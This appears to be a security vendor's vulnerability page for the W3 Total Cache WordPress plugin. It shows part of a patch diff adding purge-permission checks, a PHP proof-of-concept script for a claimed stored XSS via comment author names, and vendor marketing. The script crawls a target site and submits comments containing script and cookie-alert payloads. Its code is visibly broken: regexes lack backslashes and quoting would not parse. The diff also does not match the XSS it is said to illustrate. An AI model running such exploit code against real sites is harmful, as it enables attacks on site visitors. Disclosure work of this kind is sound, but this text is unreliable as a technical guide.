+	public static function user_can_purge_anything() {
+		return self::can_flush_all() || self::can_flush_post();
+	}
+
+	/**
+	 * Capability for the Performance admin-bar parent for purge-only users.
+	 *
+	 * Uses a purge cap the current user already satisfies so flush-all-only
+	 * grants still show the parent item.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return string
+	 */
+	public static function admin_bar_parent_capability() {
+		if ( self::can_flush_all() ) {
+			return self::flush_all_capability();
+		}
+
+		if ( self::can_flush_post() ) {
+			return self::flush_post_capability();
+		}
+
+		return 'manage_options';
+	}
+
+	/**
+	 * Whether an admin-action key is a filterable purge action.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string $action Dispatcher handler key.
+	 *
+	 * @return bool
+	 */
+	public static function is_purge_action( $action ) {
+		return in_array( $action, self::PURGE_ACTIONS, true );
+	}
+
+	/**
+	 * Whether a filtered admin-bar item is safe for purge-only non-admins.
+	 *
+	 * Requires an allowlisted id and (except the parent) an href that targets
+	 * a filterable purge action — extensions may reuse an allowlisted id with
+	 * a dashboard-only link.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param array $item Admin-bar menu item.
+	 *
+	 * @return bool
+	 */
+	public static function is_allowed_purge_admin_bar_item( array $item ) {
+		if ( ! isset( $item['id'] ) || ! in_array( $item['id'], self::PURGE_ADMIN_BAR_IDS, true ) ) {
+			return false;
+		}
+
+		if ( 'w3tc' === $item['id'] ) {
+			return true;
+		}
+
+		if ( empty( $item['href'] ) || ! is_string( $item['href'] ) ) {
+			return false;
+		}
+
+		foreach ( self::PURGE_ACTIONS as $action ) {
+			if ( false !== strpos( $item['href'], $action ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Whether the current user may execute a purge admin-action.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string $action Dispatcher handler key.
+	 *
+	 * @return bool
+	 */
+	public static function can_execute_purge( $action ) {
+		if ( ! self::is_purge_action( $action ) ) {
+			return false;
+		}
+
+		if ( 'w3tc_flush_all' === $action ) {
+			return self::can_flush_all();
+		}
+
+		if ( 'w3tc_flush_post' === $action ) {
+			$post_id = Util_Request::get_integer( 'post_id' );
+			if ( $post_id <= 0 ) {
+				$post_id = (int) Util_Environment::detect_post_id();
+			}
+
+			return self::can_flush_post_id( $post_id );
+		}
+
+		return self::can_flush_current_page_request();
+	}
+
+	/**
+	 * Authorize w3tc_flush_current_page for a same-host URL target.
+	 *
+	 * Flush-all may clear any same-host URL. Flush-post requires edit_post on
+	 * the post resolved from the URL.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return bool
+	 */
+	public static function can_flush_current_page_request() {
+		$url = Util_Request::get_string( 'url' );
+		if ( '' === $url && isset( $_SERVER['HTTP_REFERER'] ) ) {
+			$url = sanitize_text_field( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized immediately; referer fallback for URL flush.
+		}
+
+		if ( '' === $url ) {
+			return false;
+		}
+
+		$validated = wp_validate_redirect( $url, false );
+		if ( ! $validated ) {
+			return false;
+		}
+
+		if ( self::can_flush_all() ) {
+			return true;
+		}
+
+		$post_id = (int) url_to_postid( $validated );
+		if ( $post_id <= 0 ) {
+			return false;
+		}
+
+		return self::can_flush_post_id( $post_id );
+	}
+
+	/**
+	 * Build a nonce-protected admin URL for a purge action (no W3TC page).
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string              $action Dispatcher handler key.
+	 * @param array<string,mixed> $args   Extra query args (e.g. post_id).
+	 *
+	 * @return string
+	 */
+	public static function purge_action_url( $action, array $args = array() ) {
+		$query        = array_merge( array( $action => '1' ), $args );
+		$query_string = http_build_query( $query, '', '&' );
+		$url          = Util_Ui::admin_url( 'admin.php?' . $query_string );
+
+		return Util_Nonce::admin_nonce_url( $url, $action );
+	}
+}
--- a/w3-total-cache/vendor/composer/installed.php
+++ b/w3-total-cache/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'boldgrid/w3-total-cache',
-        'pretty_version' => '2.10.3',
-        'version' => '2.10.3.0',
-        'reference' => 'd6bace7be8cd9ed91d6363454f59e3cb3c5d9ee6',
+        'pretty_version' => '2.10.4',
+        'version' => '2.10.4.0',
+        'reference' => '3e50364ce76d53ce6fb5b04120da40c8ca53eb4f',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'boldgrid/w3-total-cache' => array(
-            'pretty_version' => '2.10.3',
-            'version' => '2.10.3.0',
-            'reference' => 'd6bace7be8cd9ed91d6363454f59e3cb3c5d9ee6',
+            'pretty_version' => '2.10.4',
+            'version' => '2.10.4.0',
+            'reference' => '3e50364ce76d53ce6fb5b04120da40c8ca53eb4f',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/w3-total-cache/w3-total-cache-api.php
+++ b/w3-total-cache/w3-total-cache-api.php
@@ -10,7 +10,7 @@
 defined( 'ABSPATH' ) || die;

 define( 'W3TC', true );
-define( 'W3TC_VERSION', '2.10.3' );
+define( 'W3TC_VERSION', '2.10.4' );
 define( 'W3TC_POWERED_BY', 'W3 Total Cache' );
 define( 'W3TC_EMAIL', 'w3tc@w3-edge.com' );
 define( 'W3TC_TEXT_DOMAIN', 'w3-total-cache' );
--- a/w3-total-cache/w3-total-cache.php
+++ b/w3-total-cache/w3-total-cache.php
@@ -3,7 +3,7 @@
  * Plugin Name:       W3 Total Cache
  * Plugin URI:        https://www.boldgrid.com/totalcache/
  * Description:       The highest rated and most complete WordPress performance plugin. Dramatically improve the speed and user experience of your site. Add browser, page, object and database caching as well as minify and content delivery network (CDN) to WordPress.
- * Version:           2.10.3
+ * Version:           2.10.4
  * Requires at least: 6.0
  * Requires PHP:      7.4
  * Author:            BoldGrid

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18109 - W3 Total Cache <= 2.10.3 - Unauthenticated Stored Cross-Site Scripting via Comment Author Name

class CVE2026_18109_PoC {
    private $target_url;
    private $cookie_jar;
    private $verbose;

    public function __construct($target_url, $verbose = false) {
        $this->target_url = rtrim($target_url, '/');
        $this->cookie_jar = tempnam(sys_get_temp_dir(), 'w3tc_cookie');
        $this->verbose = $verbose;
    }

    public function run() {
        if (!$this->precheck()) {
            $this->log("[!] Precheck failed: Lazy Load Images feature may not be enabled.");
            return false;
        }

        $post_id = $this->get_post_id();
        if (!$post_id) {
            $this->log("[!] Could not find a valid post with comments enabled.");
            return false;
        }

        $this->log("[+] Targeting post ID: {$post_id}");

        $payload = "<img src=x onerror=alert(document.cookie)>";
        $author_name = "<script>alert(123)</script>";
        $comment_content = $this->build_comment_payload($payload);

        if ($this->submit_comment($post_id, $author_name, $comment_content)) {
            $this->log("[+] Comment submitted successfully. Now checking if the payload is rendered.");
            $this->verify_payload($post_id, $payload);
            return true;
        } else {
            $this->log("[!] Failed to submit comment. Site may require authentication or have different comment structure.");
            return false;
        }
    }

    private function precheck() {
        $this->log("[*] Checking if post comments are open and if Lazy Load is enabled...");
        $curl = curl_init($this->target_url);
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_COOKIEJAR => $this->cookie_jar,
            CURLOPT_COOKIEFILE => $this->cookie_jar,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; AtomicEdge/1.0)',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
        ]);
        $response = curl_exec($curl);
        curl_close($curl);

        if (!$response) {
            $this->log("[!] Failed to fetch homepage.");
            return false;
        }

        if (strpos($response, 'comment-form') === false) {
            $this->log("[!] No comment form found. Comments may be closed.");
            return false;
        }

        return true;
    }

    private function get_post_id() {
        $this->log("[*] Looking for a post URL...");
        $curl = curl_init($this->target_url);
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_COOKIEJAR => $this->cookie_jar,
            CURLOPT_COOKIEFILE => $this->cookie_jar,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; AtomicEdge/1.0)',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
        ]);
        $response = curl_exec($curl);
        curl_close($curl);

        preg_match_all('/href=["']([^"']*/[^"']*/)["']/', $response, $matches);
        foreach ($matches[1] as $url) {
            $post_url = $this->resolve_url($url);
            $this->log("[*] Checking post: {$post_url}");
            $post_content = $this->fetch_url($post_url);
            if (strpos($post_content, 'comment-form') !== false) {
                if (preg_match('/post-(d+)/', $post_content, $id_match)) {
                    return (int)$id_match[1];
                }
                if (preg_match('/comment_post_ID="(d+)"/', $post_content, $id_match)) {
                    return (int)$id_match[1];
                }
            }
        }
        return false;
    }

    private function build_comment_payload($payload) {
        return "<figure><img src="https://example.com/placeholder.jpg" data-src="{$payload}" /></figure>";
    }

    private function submit_comment($post_id, $author, $comment) {
        $post_url = $this->target_url . '/wp-comments-post.php';
        $this->log("[*] Submitting comment to {$post_url}");

        $post_data = [
            'comment' => $comment,
            'author' => $author,
            'email' => 'attacker@example.com',
            'url' => '',
            'comment_post_ID' => $post_id,
            'comment_parent' => '0',
        ];

        $curl = curl_init($post_url);
        curl_setopt_array($curl, [
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_COOKIEJAR => $this->cookie_jar,
            CURLOPT_COOKIEFILE => $this->cookie_jar,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; AtomicEdge/1.0)',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_REFERER => $this->target_url . '/?p=' . $post_id,
        ]);
        $response = curl_exec($curl);
        $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        curl_close($curl);

        $this->log("[*] HTTP response code: {$http_code}");
        return $http_code === 302 || $http_code === 200;
    }

    private function verify_payload($post_id, $payload) {
        $post_url = $this->target_url . '/?p=' . $post_id;
        $this->log("[*] Fetching post to verify payload injection...");
        $content = $this->fetch_url($post_url);

        if (!$content) {
            $this->log("[!] Failed to fetch post for verification.");
            return false;
        }

        if (strpos($content, $payload) !== false) {
            $this->log("[+] SUCCESS: The XSS payload is present in the HTML output!");
            $this->log("[+] If Lazy Load is enabled and a user visits this page, the script will execute.");
            $this->log("[+] Payload injected: {$payload}");
            return true;
        } else {
            $this->log("[!] WARNING: Payload not found directly in HTML. WordPress may encode it, but the vulnerability might still be present.");
            $this->log("[!] Check the page source manually for the encoded version.");
            return false;
        }
    }

    private function fetch_url($url) {
        $curl = curl_init($url);
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_COOKIEJAR => $this->cookie_jar,
            CURLOPT_COOKIEFILE => $this->cookie_jar,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; AtomicEdge/1.0)',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
        ]);
        $response = curl_exec($curl);
        curl_close($curl);
        return $response;
    }

    private function resolve_url($url) {
        if (strpos($url, 'http') === 0) {
            return $url;
        }
        return $this->target_url . '/' . ltrim($url, '/');
    }

    private function log($message) {
        if ($this->verbose) {
            echo $message . PHP_EOL;
        }
    }
}

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$verbose_output = true; // Set to true to see detailed logging

$poc = new CVE2026_18109_PoC($target_url, $verbose_output);
$poc->run();

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.